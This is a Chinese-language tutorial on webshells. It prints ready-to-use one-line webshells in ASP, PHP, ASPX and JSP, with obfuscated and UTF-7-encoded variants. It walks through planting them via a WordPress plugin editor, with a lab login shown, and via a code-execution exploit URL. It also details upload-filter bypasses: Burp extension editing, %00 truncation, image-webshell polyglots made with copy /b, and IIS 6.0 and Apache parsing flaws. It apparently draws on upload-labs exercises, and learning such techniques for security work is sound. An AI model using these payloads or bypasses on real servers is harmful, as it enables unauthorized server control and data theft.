webshell 概念
web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,WebShell是一种用来进行网站和服务器管理的脚本程序,webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,攻击者通过上传WebShell获得Web服务器的管理权限,从而达到对网站服务器的渗透和控制。
Webshell的分类
- 根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
- 根据脚本名称分类:jsp、asp、aspx、php
webshell的编写方法
一句话木马编写方法:
- asp一句话木马:
<%execute(request("value"))%>
- php一句话木马:
<?php @eval($_POST[value]);?>
- aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
- jsp的简单的webshell:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
- 不用’<,>'的asp一句话木马:
<script language=VBScript runat=server>execute request("value")</script>
- 不用双引号的一句话木马:
<%eval request(chr(35))%>
UTF-7编码加密:<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
混淆一句话木马
- 利用注释符 /**/
- 利用 . 连接号
- 利用()
- 编码函数
举例:<?php $b = “a”.“s”.“s”.“e”.“r”.“t”;$b($_GET[‘a’]); ?>
举例讲解
<%execute request(“value”)%>
其中value是值,所以你可以更改自己的值,前面的request就是获取这个值<%eval request(“value”)%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)
当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request(“value”)%>这个文件被插入到哪一个ASP文件里面就可以了。)
这就被称为一句话木马,它是基于B/S结构的
客户端
一句话客户端增强版、中国菜刀、lanker一句话客户端、ZV新型PHP一句话木马客户端GUI版、蚁剑
使用方法
-
直接上传一句话木马
举例:grade网站
-
找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库
-
加进asp网页、记住!我们的目的是把一句话<%execute request(“value”)%>
举例:攻防对抗 http://192.168.7.40/
后台登录页面:http://192.168.7.40/wp-login.php
admin:iloveyou登录后台,修改插件文件来插入shell
然后菜刀链接:http://192.168.7.40/wp-admin/plugin-editor.php?plugin=hello.php
-
找到如命令执行漏洞页面,打开客户端浏览器,填上加入了一句话的asp文件,
举例:代码执行漏洞。Exp:/search.php?searchtype=5&tid=&area=phpinfo()
/search.php?searchtype=5&tid=&area=eval($_POST[simple])构造一句话小马,使用菜刀连接
Webshell上传攻击原理
例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。
其中eval就是执行命令的函数,$_POST[‘a’]就是接收的数据。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。
下图是一个典型的Webshell的攻击序列图,利用web的漏洞,获取web权限,上传小马,安装大马,然后远程调用Webshell,执行各种命令,以达到获取数据等恶意目的。
Webshell的特点
-
Webshell大多是以动态脚本形式的出现,也可以称为网站的后门工具
-
Webshell就是一个asp或者php木马后门
-
Webshell可以穿越服务器防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。
-
Webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员很难看出入侵痕迹。
-
黑客将这些asp或者PHP木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。黑客可以用web的方式,通过asp或者php木马后门控制的网站服务器,包括上传下载文件,查看数据库、执行任意程序命令等
Webshell上传绕过方法
(一)绕过前台脚本检测扩展名上传Webshell
当用户在客户端上传文件的时候,客户端与服务器没有进行任何的信息交互,判断上传文件的类型是前台脚本文件来判断。
白名单方式检测:允许jpg,png等文件上传,如果要上传php格式文件,可以后面加一个.jpg后缀,提交后用burp进行抓包拦截,把jpg后缀删除。
举例:http://127.0.0.1/upload-labs/Pass-01/ burp改后缀
(二)利用00截断上传Webshell:利用PHP函数
-
include和require一般在网站内部读取文件
-
file_get_contents一般用于打开一个url或一个文件
-
file_exists判断文件是否存在
-
所有url中参数可以用%00控制
-
截断–本地文件包含
截断类型:php%00截断
截断条件:php版本小于5.3.4
php的magic_quotes_gpc为off状态
(1)当打开magic_quotes_gpc时,所有单引号、双引号。反斜线和null字符(%00)都会被加上一个反斜线进行转义
(2)还有很多函数有类似的作用:addslashes()、mysql_escape_string()、mysql_real_escape_string()等
(3)当把magic_quotes_gpc关闭,PHP版本依然是5.3.10时,依然不能截断。所以证明,php版本和gpc两个条件都必须满足,才能截断。
(4)除了上面的,还有file_get_contents也能配合php%00利用。
(5)原理:利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞,假设上传路径为:【http://xx.xx.xx.xx/upfiles/lubr.php.jpg】,通过抓包截断将【lubr.php】后面的【.】换成【0x00】(也就是burp抓包,利用十六进制,【.】的十六进制是2e,所以把2e替换为00,点击forword就可以上传了)。在上传的时候,当文件读到【0x00】时,会认为文件已经结束,从而将【lubr.php.jpg】的内容写入到【lubr.php】中,从而达到攻击目的。
举例1:pass-11
举例2:PASS-12
(三)构造图片马,绕过文件内容检测上传Webshell
-
Windows捆绑技术:copy /b 主文件+追加文件 新生成文件copy /b 7.jpg + 1.aspx c.jpg(将1.aspx的内容追加到7.jpg的文件中,并生成一个新的文件叫c.jpg,上传时候后缀名【.jpg】改为【.jpg.aspx】
-
GetlmageSize函数
该函数是用来检测文件是否是有效的图片文件(内容特征),而非检测文件的扩展名
举例:PASS-13
(四)绕过服务器扩展名检测上传
- IIS6.0解析漏洞
(1)在网站下建立文件夹的名字为*.asp、*.asa的文件夹,其目录内的任何扩展名的文件都被IIS当做asp文件来执行。例如创建目录vidun.asp,那么/vidun.asp/1.jpg将当做asp文件来执行
(2)网站上传图片的时候,将网页木马文件的名字改成“.asp;.jpg”,也同样会被IIS当做asp文件来解释执行。例如上传一个图片文件,名字叫“vidun,asp;.jpg”,该文件可以被当做ASP文件解析并执行。
- apache解析漏洞
(1)不管文件后缀名是什么,只要是.php.*为结尾,就会被apache服务器解析成php文件。
(2)mime.type配置文件定义了apache能够解析那些文件的类型。
(3)当apache遇到xxx.php.rar或者xxx.php.111这些默认没有在mime.types文件定义的都会解析成php文件。
(1)不管文件后缀名是什么,只要是.php.*为结尾,就会被apache服务器解析成php文件。
(2)mime.type配置文件定义了apache能够解析那些文件的类型。
(3)当apache遇到xxx.php.rar或者xxx.php.111这些默认没有在mime.types文件定义的都会解析成php文件。
(4)原理:当浏览器将文件提交到服务端的时候,服务端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合白名单限制,则不允许上传,否则上传成功。将一句话木马的文件名【lubr.php】,改成【lubr.php.abc】。首先,服务器验证文件扩展名的时候,验证的是【.abc】(因为他是从文件名右边往左边解析的),只要该扩展名满足服务器端白名单规则,即可上传。另外,当在浏览器端访问该文件时,apache如果解析不了【.abc】扩展名,会向前寻找可解析的扩展名,即【.php】。一句话木马可以被解析,即可通过中国菜刀连接。